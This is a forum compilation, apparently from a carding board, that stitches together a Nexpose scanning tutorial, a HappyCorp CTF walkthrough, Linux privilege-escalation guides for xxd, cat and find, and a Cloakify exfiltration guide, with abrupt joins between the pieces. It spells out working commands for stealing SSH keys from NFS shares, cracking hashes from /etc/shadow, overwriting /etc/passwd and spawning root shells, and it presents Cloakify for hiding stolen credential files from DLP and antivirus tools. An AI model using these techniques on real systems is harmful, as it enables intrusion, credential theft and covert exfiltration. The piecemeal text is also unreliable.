Running Vulnerability Scans
Generating Reports

Introduction to Nexpose
Nexpose is one of the leading vulnerability assessment tools. It operates across physical, virtual, cloud and mobile environments to discover the active services, open ports, and running applications on each machine, and it tries to identify vulnerabilities that may exist based on the attributes of the known services and applications. Though Nexpose discloses the results into scan reports, which helps to prioritize the vulnerabilities based on the risk factor and determine the most effective solution to be implemented.
Some Important Nexpose terminologies

Assets – A host on a network.
Site – A logical group of assets that has a dedicated scan engine.
Scan Template – A template that defines the audit level that Nexpose uses to perform a vulnerability scan.
Local Scan Engine – Scan Engines are responsible for performing scan jobs on your assets.

Nexpose Virtual Appliance Installation
Let’s start the Nexpose installation over our Virtual Machine. From

[To see content please register here]

we’ve downloaded the Nexpose VM. Firstly, we’ll add Nexpose in our VMware Workstation and power it ON.
As soon as it boots up, we’ll see our default login credentials – Username ( nexpose) and Password (nexpose). Furthermore, we have to set a new password according to the requirements (i.e it should be at least 14 characters long, at least one uppercase and a lowercase letter, a numeric number, and a special character.)
[Image: 1.png?w=687&ssl=1]

Afterwards, use the ifconfig command in your Nexpose to check our machine’s IP address so that we can log into the Nexpose’s web interface.
[Image: 2.png?w=687&ssl=1]

Now armed with the IP we need to set the HTTPS (i.e Hypertext Transfer Protocol over Secure Socket Layer) and the port 3780 is the Nexpose’s default port.
URL : https://<Nexpose_IP>:3780
Though we’ll be greeted with a warning about a Security Certificate, therefore, to use Nexpose, we’ll have to get through this warning. Click on Advanced, followed by Accept the Risk and Continue.
You will then be redirected to a login page, given the default username (nxadmin) and password (nxpassword), as shown in the image below.
[Image: 3.png?w=687&ssl=1]

Further, you’ll be asked for an activation Key, as shown in the image, provide the license key that you’ve received at your email address.
[Image: 4.png?w=687&ssl=1]

As soon as you’ve logged in and completed all the essential activations, the Nexpose Security Web Console page will activate and we’ll be able to perform any scan which we desire for, as shown:
[Image: 5..png?w=687&ssl=1]

Running Vulnerability Scans
In order to start with a new scan, go to the home page, click the Create dropdown and select Site. The Security Console will display the “Site Configuration” screen.
[Image: 6..png?w=687&ssl=1]

On the General tab, we have to give the name and describe our site, as in the above image. We can even set its importance from Very Low to Very High.
[Image: 7..png?w=687&ssl=1]

The Assets configuration page comprises of two sections: Include and Exclude.
In the Include section, we’ve provided our target IP address (i.e. 192.168.0.59) or if we want to scan the entire network, then we will have to provide the complete IP range (i.e. 192.168.0.1-254).
The section Exclude is used to exclude the IP from scanning. If we’re scanning the entire IP range and want to exclude some of the IPs from the scan, we just need to put them in the exclude assets section.
Now in the Authentication section, if we need to put any credentials, we can do that here. Basically, we conduct a credential-based scan by providing the system with a username and a password.
[Image: 8..png?w=687&ssl=1]

Afterwards, setup a particular Scan Template, as shown above, we’ve used the default Scan Template i.e. full Audit without Web Spider.
[Image: 9..png?w=687&ssl=1]

So now we have to select an engine for our scan, although we’re selecting the Local Scan Engine, as shown in the picture above.
Now since we’ve completed all the required information to setup our site for a scan. To begin scanning, Click the Save and Scan button at the upper right corner of our Nexpose console panel.
[Image: 10..png?w=687&ssl=1]

Once the scan is completed, the result clearly indicates the number of possessed vulnerabilities, the risk score, and the duration of the scan.
[Image: 11.png?w=687&ssl=1]

Now we can see all the vulnerabilities mentioned along with their Common Vulnerability Scoring System (CVSS) score from the highest to the lowest over the Vulnerabilities tab. The exciting part is that one or more of these exploits have been published throughout the Exploit database and are vulnerable to many Metasploit.
When we click on a particular vulnerability, for an instance here we’ve clicked on MySQL default account which is a critical threat, it will give us the information about the vulnerability such as its severity, whether it is password protected or not, its version, etc. as shown in the image below.
[Image: 12.png?w=687&ssl=1]

Generating Reports
Now we can generate the new records in the Reports tab by simply giving it a title, selecting the scan along with the template and the format in which we want our reports to be in.
[Image: 13.png?w=687&ssl=1]

Conclusion
This was the comprehensive guide of the usability of Nexpose a vulnerability scanner. Due to its GUI, it is user-friendly and convenient. Therefore, it has become one of the best tools as it makes its place in the corporate world with Nessus and retina.

This is another post on vulnhub CTF “named as “HAPPYCORP:1” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.
You can download it from here:

[To see content please register here]

Penetrating Methodologies
Scanning

Netdiscover
Nmap

Enumeration

NFS-Share
Mount share directory
Obtain user.txt -1st flag
Obtain SSH key
Cracked SSH passphrase (john the ripper)

Exploiting

Login to SSH
Break jail (rbash shell)

Privilege Escalation

Abusing SUID Binary
Obtain flag.txt-2nd flag

Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687&ssl=1]

So, we have our target IP 192.168.1.104. Now, let’s scan the services and ports via nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
We have obtained the fruitful result from the nmap scan, as you can observe so many services are running on the various port. Such as 22: SSH, 80: HTTP and so on.
[Image: 2.png?w=687&ssl=1]

Enumeration
As we always navigate with HTTP services first, therefore we browse

[To see content please register here]

as the URL but found nothing interesting.
[Image: 3.png?w=687&ssl=1]

We found that network share service was also available on port 2049, so we thought to check shared directory in the network. We have therefore installed NFS-client on our local machine and have a command to identify the shared directory available to mount on our local computer.
showmount -e 192.168.1.104
1
showmount -e 192.168.1.104
we found /home/karl is a shared directory that we can mount in our local machine as given below:
mkdir /tmp/raj
mount 192.168.1.104:/home/karl /tmp/raj
cd /tmp/raj
ls -al
1
2
3
4
mkdir /tmp/raj
mount 192.168.1.104:/home/karl /tmp/raj
cd /tmp/raj
ls -al
As I mount /home/karl in our /tmp/raj directory but I didn’t find anything here, truthfully when I try to open .ssh directory, it gave permission denied error.
[Image: 4.png?w=687&ssl=1]

Therefore, I add a user “aaru” in the group that has GID of 1001 on my Kali machine and successfully access the .ssh folder as shown in below steps (Same as the approach was used in

[To see content please register here]

).
groupadd --gid 1001 aaru
useradd --uid 1001 --group raj aaru
1
2
groupadd --gid 1001 aaru
useradd --uid 1001 --group raj aaru
Then access our 1st flag i.e. user.txt and moreover copies the id_rsa key in our local machine by executing following command:
sudo -u aaru ls -l .ssh
sudo -u aaru cat .ssh/user.txt
sudo -u aaru cat .ssh/id_rsa
1
2
3
sudo -u aaru ls -l .ssh
sudo -u aaru cat .ssh/user.txt
sudo -u aaru cat .ssh/id_rsa
[Image: 5.png?w=687&ssl=1]

Further, I explored id _rsa.pub and authorized key where I noticed Karl@happycorp and realized that Karl could be the possible username for ssh login. Therefore, I used the id_rsa key for login into ssh as karl but failed to login into it, as it required a passphrase for the key.
[Image: 6.png?w=687&ssl=1]

Then we have used

[To see content please register here]

to convert this SSH key into a crackable file for John the ripper and further used the rockyou.txt wordlist for johntheripper.
python ssh2john key > ssh_login
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
2
python ssh2john key > ssh_login
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
[Image: 12.png?w=687&ssl=1]

After obtaining the passphrase “sheep” we changed the permission of RSA key and login as karl but unfortunately, we got access of restricted shell also known rbash as a shell.
ssh -i key [email protected]
1
ssh -i key [email protected]
[Image: 13.png?w=687&ssl=1]

Therefore, I tried to access the bash shell directly through ssh by simply typing the following:
ssh -i key [email protected] -t "/bin/sh"
1
ssh -i key [email protected] -t "/bin/sh"
Luckily it works and we have successfully access the proper shell.
[Image: 14.1.png?w=687&ssl=1]

Privilege Escalation
Now it’s time to escalate the root privilege and finish this task, therefore with help of find command I look for SUID enabled binaries, where I found SUID bit, is enabled for copy binary (/bin/cp).
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hmm!! if suid bit is enabled on /bin/cp then we can copy any system file of root level or can overwrite the existing file. First, I have explored the /etc /passwd file where karl was end user as shown in the below image and our vision is to edit this file by adding a new user.
[Image: 14.png?w=687&ssl=1]

On other hands, we have generated a new encrypted password: pass123 using OpenSSL passwd
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
[Image: 15.png?w=687&ssl=1]

So, we have copied the whole content of /etc/passwd file in a text editor and then create a new record for user “ignite” that owns root level permissions. Saved this file as passwd and further used python server for transferring it into victim’s machine.
[Image: 16.png?w=687&ssl=1]

Inside /tmp folder, we have downloaded our passwd file and with the help of copy command, we have replaced the original /etc/passwd from our file as shown below.
cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd
su ignite
cd root
cat root.txt
1
2
3
4
5
6
cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd
su ignite
cd root
cat root.txt
[Image: 17.png?w=687&ssl=1]

In this article, we are going to make our readers familiar with another influential command i.e. “xxd” which assist for converting any hex dump to a binary and vice-versa. So, by knowing this certainty now we will check how wisely we can make it applicable in Privilege Escalation.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to xxd

Major Operation performed using xxd

Exploiting xxd

SUID Lab setups for Privilege Escalation
Exploiting SUID

Introduction to xxd
As we know whenever we want to convert any format of a file into another format then, we can grab that simply by using online converter which helps to convert a file into the desired format such as: “pdf to word, jpg to pdf, excel to pdf” etc. but what if someone desired to get any file into its hexadecimal form or binary??
So, in this article, I’m emphasizing the way through which one can easily get hex dump or binary format for any file. This can be achieved by one of Linux command i.e. “xxd”. The xxd command enables the user to generate a hex dump of a given file and can also reverse a hex dump back to its original ASCII form. This phenomenon can also help in the procedure of encoding and decoding any mysterious file.
First, we will check for its help/man command to identify how we can use xxd for this conversion.
xxd -h
1
xxd -h
By typing the above command, we can achieve a list of arguments that can be used with xxd for generating hex dump of a given file.
[Image: 1.png?w=687&ssl=1]

Major Operation performed using xxd
Converts file contents into hex: For instance, I’m creating a new file by the name of “secret.txt” and now I want to convert its whole content into the hexadecimal form so, I will type the below mentioned command to execute the desired output.
Syntax: xxd <options> filename
xxd secret.txt
1
xxd secret.txt
By the below image it’s clear that xxd has generated the hex dump for the file “secret.txt”.
Here, we can observe the following hex dump are obtained its default format such as:

Indexing the number of lines. (eg: 00000000, 00000010, 00000020…………00000220)
The default number of octets per group is 2 (-e: 4 little-endian hexdump) which is groupsize of 4 bytes. (eg: 4967 6e69…………6e67)
The standard column length is equal to 16 bits with whitespace. (eg: Ignite is Having)

Skip the nth line with xxd: While converting a file there may be lots of data that may not be of our use so, instead of obtaining whole data we can skip those contents that are needless (skip the no. of lines). For this, we can use xxd to skip the nth line and produce hex value after skipped lines.
Suppose in our circumstance we want to generate hex dump from line 5 ahead then this can be attained by using “-s” argument followed by xxd command.
xxd -s 0x50 secret.txt
1
xxd -s 0x50 secret.txt
To limit output up to particular length: As above I have explained how one can retrieve data by skipping no. of lines i.e. output from a specific line but, if we need to limit the length of standard output then we will use “-l” argument instead of “-s”.
Here I’m limiting the length of my contents to print the data up to limited range i.e. 5th line as shown in below screenshot.
xxd -l 0x50 secret.txt
1
xxd -l 0x50 secret.txt
Hence, we can observe the difference between both commands; the first command generates the hex value initialized from the 6th line and the second command ended with the 5th line as per hex indexing, take reference from the above screenshot.
[Image: 3.png?w=687&ssl=1]

Converts file contents into binary: In above all image we have noticed that file has been dumped into its “hex form” but whenever we wish to produce the “binary form” for any file then we will use “-b” option. On using this option, the result will switch to its bit dump (binary digit) by grouping the output data into its octet using “1 or 0” rather than hex dump. To attain the same as per below image type command:
xxd -b secret.txt
1
xxd -b secret.txt
[Image: 4.png?w=687&ssl=1]

Set column length: As above I have described how we can skip and limits the output up to range. Now I will illustrate how we can set column length. By default, it used to be 12, 16 for any dumped file but now I will explain what else we can do.
For this I’m taking three occurrences:
Default: As we know the default column length is 16. This will print 16 characters including whitespace.
xxd -l 0x20 secret.txt
1
xxd -l 0x20 secret.txt
Set the column length up to 32: I have set end index to limit printing data range by using “-l” option now after doing so I will set column length up to “32” which can be achieved by using “-c” argument.
xxd -l 0x40 -c 32 secret.txt
1
xxd -l 0x40 -c 32 secret.txt
From the given below screenshot, we can easily realize how xxd has limits the column length.
Set the column length up to 9: As above, now I have set column length up to “9” by following the same process as discussed above.
xxd -l 0x40 -c 9 secret.txt
1
xxd -l 0x40 -c 9 secret.txt
In all case, xxd has created the hex dump for a file by counting each character with whitespace.
[Image: 5.png?w=687&ssl=1]

Print Plain hex dump style: The postscript option “-ps” is used only in case when we required our output in plain hex dump style. Here we have saved its output inside hex file to obtain the plain hexadecimal value of the secret.txt file. To ensure the result we have used the cat command to read output from hex file.
xxd -ps secret.txt > hex
cat hex
1
2
xxd -ps secret.txt > hex
cat hex
From the below image, it can be cleared that how xxd has created plain hex dump style for file “secret.txt” by restricting the plain text.
To revert any file: To return any generated output into its original form we can use the “-r” option. In our case we have used “-r -p” to print the reverse output from plain hex dump style into its ASCII form.
xxd -r -p hex
1
xxd -r -p hex
[Image: 6.png?w=687&ssl=1]

Groupsize bytes: If we required to group the output into a number of octets then we can use the “-g” option for this purpose. By default, it is 2 (-e: 4 little-endian hex dump). So, if we set this value to 4 then it will be grouped into 8 bits.
In below screenshot, we have set this value to 8 which will group into 16 bits as desired output to concise the result.
xxd -l 0x30 -g 8 secret.txt
1
xxd -l 0x30 -g 8 secret.txt
[Image: 7.png?w=687&ssl=1]

SUID Lab Setups for Privilege Escalation
The SUID bit permission enables the user to perform any files as the ownership of existing file member. Now we are enabling SUID permission on xxd, so that a local user can take the opportunity of xxd as the root user.
Hence type following for enabling SUID bit:
which xxd
chmod u+s /usr/bin/xxd
ls -al /usr/bin/xxd
1
2
3
which xxd
chmod u+s /usr/bin/xxd
ls -al /usr/bin/xxd

Exploiting SUID
Now we will start exploiting xxd service by taking the privilege of SUID permission. For this, I’m creating a session of the victim’s machine which will permit us to develop the local user access of the targeted system.
Now we need to connect with the target machine with ssh, so type the command:
ssh [email protected]
1
ssh [email protected]
As we know we have access to victim’s machine so we will use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we came to recognize that SUID bit is permitted for so many binary files, but our concerned is: /usr/bin/xxd.
[Image: 9.png?w=687&ssl=1]

Taking privilege of SUID permission on xxd we are going to grab the shadow’s file for extracting password hash file.
In the below image first, I have requested to expose the /etc/shadow file by the use of xxd which will produce the hex dump for the file along with that I have piped the xxd command to revert its output.
xxd "/etc/shadow" | xxd -r
1
xxd "/etc/shadow" | xxd -r
[Image: 10.png?w=687&ssl=1]

Now I have use john the ripper tool to crack the password hashes. By doing so we will get credential of the user as shown in below image.
john hash
1
john hash
[Image: 11.png?w=687&ssl=1]

Once we get the user’s credential then we can switch user. Here first we check sudo rights for user: raj and noticed that user “raj” has ALL privileges.
su raj
sudo -l
sudo su
1
2
3
su raj
sudo -l
sudo su
Therefore, we switch to the root user account directly and access the root shell as shown in the image. Hence, we have successfully accomplished our task of using xxd command for Privilege Escalation.
[Image: 12.png?w=687&ssl=1]

[Guide] Linux for Pentester: CAT Privilege Escalation

Posted by: NINZA - 05-14-2020, 05:44 PM - Forum: Carders Home - No Replies

Today we are going to talk about CAT command and learn how helpful the cat command is for Linux penetration testing and how we’ll progress cat to scale the greater privilege shell.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content

Introduction to CAT
Major Functions of CAT command
Sudo rights Lab setups for Privilege Escalation
Exploiting Sudo Rights

Introduction to CAT
In Linux, Cat stands for “catenate,” which is one of Unix-like operating system most frequently used commands. It reads file information and displays its content as an output. It enables us to build, view and link files. So, we can not only see the content using CAT command; apart from this we can, copy the content of the file to some other file and view the files with numbers and so on. Not only this we will do such things which is not only new but is what we might have not thought of. We will perform Privilege Escalation using CAT command. That’s sounds interesting. Isn’t it? So, let’s start-
Major Functions of CAT command
At first, we will run cat -h command which means help and which will tell you about all the options which are available in CAT command as we can see in the picture below.
cat --help
1
cat --help
[Image: 1.png?w=687&ssl=1]

Write and Read a file:
Our next step is to create a file using the cat command. And for this, we will use greater than sign (>) after cat command to generate a new file. So, we have created a new file named notes.txt by using (>) this sign after cat command and write the content which you want to keep in the file as in our case I have written “Welcome to Hacking articles” in the file notes.txt
cat > notes.txt
1
cat > notes.txt
Not only this we can also edit the content of the existing file without opening the file by using greater than sign twice (>>) as you can see in the screenshot that we have added “Join Ignite Technologies” in notes.txt
cat >> notes.txt
cat notes.txt
1
2
cat >> notes.txt
cat notes.txt
[Image: 2.png?w=687&ssl=1]

Now we can confirm this by reading the file once again.
cat notes.txt
1
cat notes.txt
[Image: 3.png?w=687&ssl=1]

Number all output lines:
Now let’s say if we want to view file contents preceding line numbers or in other words you want to view the output serialized. So first we will create a new text file named dict.txt in which we have written some content which is going to be easily readable number wise with -n command.
cat dict.txt
cat -n dict.txt
1
2
cat dict.txt
cat -n dict.txt
As a result, this add a serial number column for every line as shown below:
[Image: 4.png?w=687&ssl=1]

Overwriting a file
Now we want to copy the content of file dict.txt into notes.txt or in other words we want to overwrite the file notes.txt. So in order to do, this first we write the file name from which the content is to be copied and then we will write the file name whose content we want to replace followed by greater than sign(>).
Syntax: cat [file1] > [file2]
cat dict.txt > notes.txt
1
2
Syntax: cat [file1] > [file2]
cat dict.txt > notes.txt
As you can observe in the picture below that we have replaced the content of notes.txt with dict.txt
[Image: 5.png?w=687&ssl=1]

Concatenating files:
Now we want to merge two files together or in other words, we want to combine two files. So, what will we do? Its again very simple; we will use greater than sigh here but now twice (>>) and the content will be replaced successfully. So here we have another new file which is pass.txt and then we will proceed towards merging two files for which we will use (>>) sign again as we have done in the image below. Now again we will use -n to put this content number wise which we have done above.
cat > pass.txt
cat dict.txt >> pass.txt
cat -n pass.txt
1
2
3
cat > pass.txt
cat dict.txt >> pass.txt
cat -n pass.txt
As result, you can observe that we have concatenate dict.txt in the pass.txt file.
[Image: 5.png?w=687&ssl=1]

Reverse order
As the name suggests and we can reverse all the content using tac command which is just a reverse of cat command and it works for this purpose only.
cat dict.txt
1
cat dict.txt
With the help of tac command, we try to reverse the file by making a vertical flip as shown below.
[Image: 7.png?w=687&ssl=1]

Sudo rights Lab setups for Privilege Escalation
Now here our next step is to set up the lab of Sudo rights or in other words to provide Sudo privileges to a user for cat executable. Here we are going to add a user by the name of the test in the suoders files and here we have given permission to user test to run cat command as root user.
[Image: 8.png?w=687&ssl=1]

Exploiting Sudo Rights
Now we will connect through ssh in kali and after that, we will run sudo -l which is sudo list and through which we can see that user test has the permission to run cat as root user.
ssh [email protected]
1
ssh [email protected]
Now our next step is to exploit sudo rights through cat command. So, we will run cat /etc/shadow command to see all the users and their respective passwords hashes.
sudo -l
sudo cat /etc/shadow
1
2
sudo -l
sudo cat /etc/shadow
Wonderful! We have got all the user’s list and their passwords’ hash value.
[Image: 9.png?w=687&ssl=1]

Cracking the Hash Password
Now our next step is to crack the hash value so that we are going to use “John the Ripper” tool to crack this hash value in order to get the password in decrypted form. So first we have taken one user whose password we want to check. So, run the following command in the terminal-
john hash --show
1
john hash --show
[Image: 10.png?w=687&ssl=1]

Great! We have cracked the password successfully. Now we will switch user raj to check if we can log in through that password and we can see that we have successfully logged in as raj user.
Now we will run sudo -l command to check if user raj, and found he has all the root permissions.
sudo -l
sudo su
1
2
sudo -l
sudo su
Now, we will again try to switch to user root and we are logged in as root and then we run id command we get to know that we got a root shell.
So, we have performed privilege escalation through cat command successfully.
[Image: 12.png?w=687&ssl=1]

Today in this article we are back with another most advantageous command from the series of Linux for Pentester i.e. “Find’. The Find command is used to search the list of files and directories, so by knowing this fact, we will now illustrate how we can avail it in Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to Find

Major Operation performed using Find

Exploiting Find

Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights
SUID Lab setups for Privilege Escalation
Exploiting SUID

Introduction to Find
Find command is a command line facility for a walk around a file pyramid structure to find the exact location of the file and directory as per the user’s desire. This search command can be used by the variability of services like search any file by “size, permissions, date of modifications/access, users, groups” and many more as per user requisite.
Alike every command the Find also can be concisely understood by its help/man command as per below image.
find --help
1
find --help
[Image: 1.png?w=687&ssl=1]

Major Operation performed using Find
Search any file by particular name in the current directory: This command supports the user to search any file by a specific name. Suppose we want to search a text file by the name of “raj” from current directory then simply compose the command as per below screenshot.
find . -name raj.txt
1
find . -name raj.txt
Search any file by particular name in the home directory: If we wish to find all the files under home directory by desired file name, in our case it is “raj.txt” then from command as below:
find /home -name raj.txt
1
find /home -name raj.txt
(It will permit the user to find all “raj.txt” file under home directory)
Find files by its extension: This can be returned by specifying the particular file extension. If any user wants to fetch any file by its extension, then it can be done by “-type f” option followed by Find As in our scenario we are fetching for .txt
One can also use the “-type d” option instead of the “-type f” for retrieving the directory.
find / -type f -name "*.txt"
1
find / -type f -name "*.txt"
This command will support the user for printing all .txt file as the desired output.
[Image: 2.png?w=687&ssl=1]

Find files with full permission: Whenever anybody wishes to explore for the files that have full permission i.e. “777” then it can be simply acquired by “-perm 0777” followed by Find command with the option “-type f” which will print the output for all the files that have“777”
find . -type f -perm 0777 -print
1
find . -type f -perm 0777 -print
To find all files for a specific user of a directory: If we need to find all those files that belong to a particular user under any selective directory then that we can execute this by command as:
find /tmp -user raj
1
find /tmp -user raj
In our instance, we are finding for all those files that belong to user “raj” under “tmp directory”.
[Image: 3.png?w=687&ssl=1]

To find all hidden files: If we want to find all hidden files within any directory then we will type the command as below:

find /tmp -type f -name ".*"
1
find /tmp -type f -name ".*"
This command will give a consequence for all hidden files in the current directory.
To find all readable files within a directory: To find all readable files from a specific directory. In the below screenshot we are discovering for all those files that is in the readable form under /etc directory
find /etc/ -readable -type f 2>/dev/null
1
find /etc/ -readable -type f 2>/dev/null
By typing above command, we will get all readable files that come under /etc as output.
[Image: 4.png?w=687&ssl=1]

Find SUID files: Whenever any command runs, at which SUID bit is set then its effective UID becomes the owner of that file. So, if we want to find all those files that hold the SUID bit then it can be retrieved by typing the command:
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
[Image: 5.png?w=687&ssl=1]

Find SGID files: The SGID permission is similar as SUID but the only difference is that, whenever any command runs at which SGID permission is set, then the process will have the same group ownership as the owner of the file. So, to run all those files that possess SGID bit, type command:
find / -perm -g=s -type f 2>/dev/null
1
find / -perm -g=s -type f 2>/dev/null
[Image: 6.png?w=687&ssl=1]

To find SUID & SGID files simultaneously: If we want to fetch all those files simultaneously at which both bits i.e. “SUID & SGID” are set then frame command as:
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
1
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
[Image: 7.png?w=687&ssl=1]

To find all writable file: To find any writable directories within any desired directory such as: /home, /tmp, /root, then we will run the command as:
find /home -writable -type d 2>/dev/null
1
find /home -writable -type d 2>/dev/null
As per below image we have find all writable directories from /home.
[Image: 8.png?w=687&ssl=1]

Exploiting Find
Sudo Rights Lab setups for Privilege Escalation
Now we will set up our lab of Find command by granting it higher privilege i.e. with administrative rights. As we know the performance of every command gets changed after the influence of higher privileges. Same we will check for our Find command and will grasp what effect it would have after the accomplishment of sudo rights and how we can custom it more in privilege escalation.
To recognize it more visibly first we will create a local user (test) who retain all sudo rights as root.
To add sudo right open /etc/sudoers file and frame below command as user Privilege specification.
test ALL=(root) NOPASSWD: /usr/bin/find
1
test ALL=(root) NOPASSWD: /usr/bin/find
[Image: 9.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting Find service by taking the privilege of sudoer’s permission. For this, we must have a session of the victim’s machine which will enable us to devise the local user access of the targeted system which will support us further to escalate the root user’s rights.
For this we need to connect with the target machine with ssh, so type the command as shown below for performing the same.
ssh [email protected]
1
ssh [email protected]
Then we checked for sudo right of “test” user (if given) and found that user “test” can execute Find command as “root” without a password.
sudo -l
1
sudo -l
Find command let you perform some specific action such as “print, delete and exec”. So here we are taking the privilege of “exec” for executing the command to access root shell by running /bin/bash with the help of find command as given below:
sudo find /home -exec /bin/bash \;
1
sudo find /home -exec /bin/bash \;
On running above command, we have successfully escalated the root shell as shown in the below image.
[Image: 10.png?w=687&ssl=1]

SUID Lab setups for Privilege Escalation
As we know the SUID bit permission enables the user to execute any files as the ownership of existing file member. Now we are enabling SUID permission on Find so that a local user can take the opportunity of Find as the root user.
Hence type following for enabling SUID bit:
which find
chmod u+s /usr/bin/find
ls -la /usr/bin/find
1
2
3
which find
chmod u+s /usr/bin/find
ls -la /usr/bin/find
[Image: 11.png?w=687&ssl=1]

Exploiting SUID
As we know we have access to victim’s machine so we will use Find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to recognize that SUID bit is empowered for so many binary files, but our concerned is: /usr/bin/find.
[Image: 12.png?w=687&ssl=1]

As we know Find command supports the user to perform some specific action such as print, delete and exec. So here again we are taking the privilege of “exec” for executing another command i.e. “whoami”
find raj -exec "whoami" \;
1
find raj -exec "whoami" \;
Similarly, you can take honour of Find command for escalating the root privileges.
[Image: 13.png?w=687&ssl=1]

In our previous post, we had already discussed on “Cloud Storage Uploads for data exfiltration” and today we are going to discussed “Concealed Method for Data Exfiltration” to extract the unauthorized data. Here you will learn how an intruder can exfiltrate data through steganography approach.
Table of Content

Overview
About Data Exfiltration
Cloakify Installation and Usages (for Linux)
Method -I
Method II
Cloakify Installation and Usages (for Windows)

Overview
We will perform red team practice, where we will attempt to collect the important files from the victim’s machine by inducing steganography with the help of concealed methods. When copying information from the destination machine, we will try to transform the data to befool the network monitors so that they can not identify the data packet travelling in the network.
All this could be performed by using a single tool named “Cloakify Factory”.
Cloakify Factory transforms any filetype (e.g .zip, .exe, .xls,etc.) into a list of harmless-looking string. This lets you hide the file in plain sight and transfer the file without triggering alerts. The fancy terms for this “text-based steganography”, hiding data by making it look like other data. Cloaked files defeat signature-based malware detection tools.
About Data Exfiltration
Data exfiltration occurs when malware and/or a malicious actor carries out an unauthorized data transfer from a computer. It is also commonly called data extrusion or data exportation. Data exfiltration is also considered a form of data theft. During the past couple of decades, a number of data exfiltration efforts severely damaged the consumer confidence, corporate valuation, and intellectual property of businesses and national security of governments across the world.
[Image: 0.png?w=687&ssl=1]

Methods of Data Exfiltration
Open Methods:

HTTP/HTTPS Downloads & Uploads
FTP
Email
Instant Messaging
P2P filesharing

Concealed Methods:

SSH
VPN
Protocol Tunneling
[To see content please register here]
Steganography
Timing channel

(

[To see content please register here]

)
Cloakify Installation & Usages (for Linux)
CloakifyFactory – Data Exfiltration & Infiltration In Plain Sight; Convert any filetype into a list of everyday strings, using Text-Based Steganography; Evade DLP/MLS Devices, Defeat Data Whitelisting Controls, Social Engineering of Analysts, Evade AV Detection.
Only you need to type following for downloading the cloakify from GitHub in the target machine.
git clone

[To see content please register here]

cd Cloakify.py
chmod -R 777 noiseTools
1
2
3
git clone

[To see content please register here]

cd Cloakify.py
chmod -R 777 noiseTools
[Image: 1.png?w=687&ssl=1]

Let’s run the python script to lunch cloakifyfactory.py
python cloakifyFactory.py
1
python cloakifyFactory.py
CloakifyFactory is a menu-driven tool that leverages Cloakify Toolset scripts. When you choose to Cloakify a file, the scripts first Base64-encode the payload, then apply a cipher to generate a list of strings that encodes the Base64 payload. You then transfer the file however you wish to its desired destination. Once exfiltrated, choose Decloakify with the same cipher to decode the payload.
[Image: 2.png?w=687&ssl=1]

Let’s take an example now that we want to copy a text file “pwd.txt” from within the target system containing the login credentials of different machines in the network.
[Image: 3.png?w=687&ssl=1]

Method -I
It may be dangerous to copy the text file directly, so we will transform the input file data into another file as output. To do so follow the below steps:

Run the python script to launch cloakifyfactory.py
Press 1 to select cloakify a file option
Enter the path of the source file that you want to transform an the input file.
Enter the path of the destination file to where you want to save the output.

Further, you will get a list of ciphers, choose the desired option for encrypting the file. Suppose I want the whole content to get changed into facial emojis.

Press 3 for emoji cipher
Allow to Add noise to cloaked file by pressing Y for yes.
Then press 1 to select prependemoji.py as a noise generator.

This will save the output result inside the raj.txt file.
[Image: 5.png?w=687&ssl=1]

As result, you will get the output content something like shown in the below image.
[Image: 6.png?w=687&ssl=1]

Now if you want to obtain the output result in its original format, then you can go with the decloakify option which will revert the transformation into its original existence, but before that, you have to give all permissions to removeNoise.py
chmod 777 removeNoise.py
1
chmod 777 removeNoise.py
[Image: 7.png?w=687&ssl=1]

To do so follow the below steps:

Run the python script to launch cloakifyfactory.py
Press 2 to select decloakify a file option
Enter the path of the file that you want to restore back into its original format.
Enter the path of the file to where you want to save the output.

Press Y to answer yes because we have added noise to cloaked file and select noise generator.
[Image: 9.png?w=687&ssl=1]

Method II
Again, we have a similar file that we want to cloaked into another format directly without operating the cloakifyfactory console.
[Image: 10.png?w=687&ssl=1]

This time you can use a single command to cloak the file by adding specify the type of cipher as given below:
[Image: 11.png?w=687&ssl=1]

python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek
1
python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek
After executing the above command, we can observe the output result would be something like this as shown in the below image.
[Image: 11.png?w=687&ssl=1]

So we have used the file.txt file as destination file to save the transformed information inside it without printing the output result on the screen. Moreover, further, we have used decloak command to revert the transformed file back into its original state.
python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek > /root/Desktop/file.txt
python decloakify.py /root/Desktop/pwd.txt ciphers/starTrek
1
2
python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek > /root/Desktop/file.txt
python decloakify.py /root/Desktop/pwd.txt ciphers/starTrek
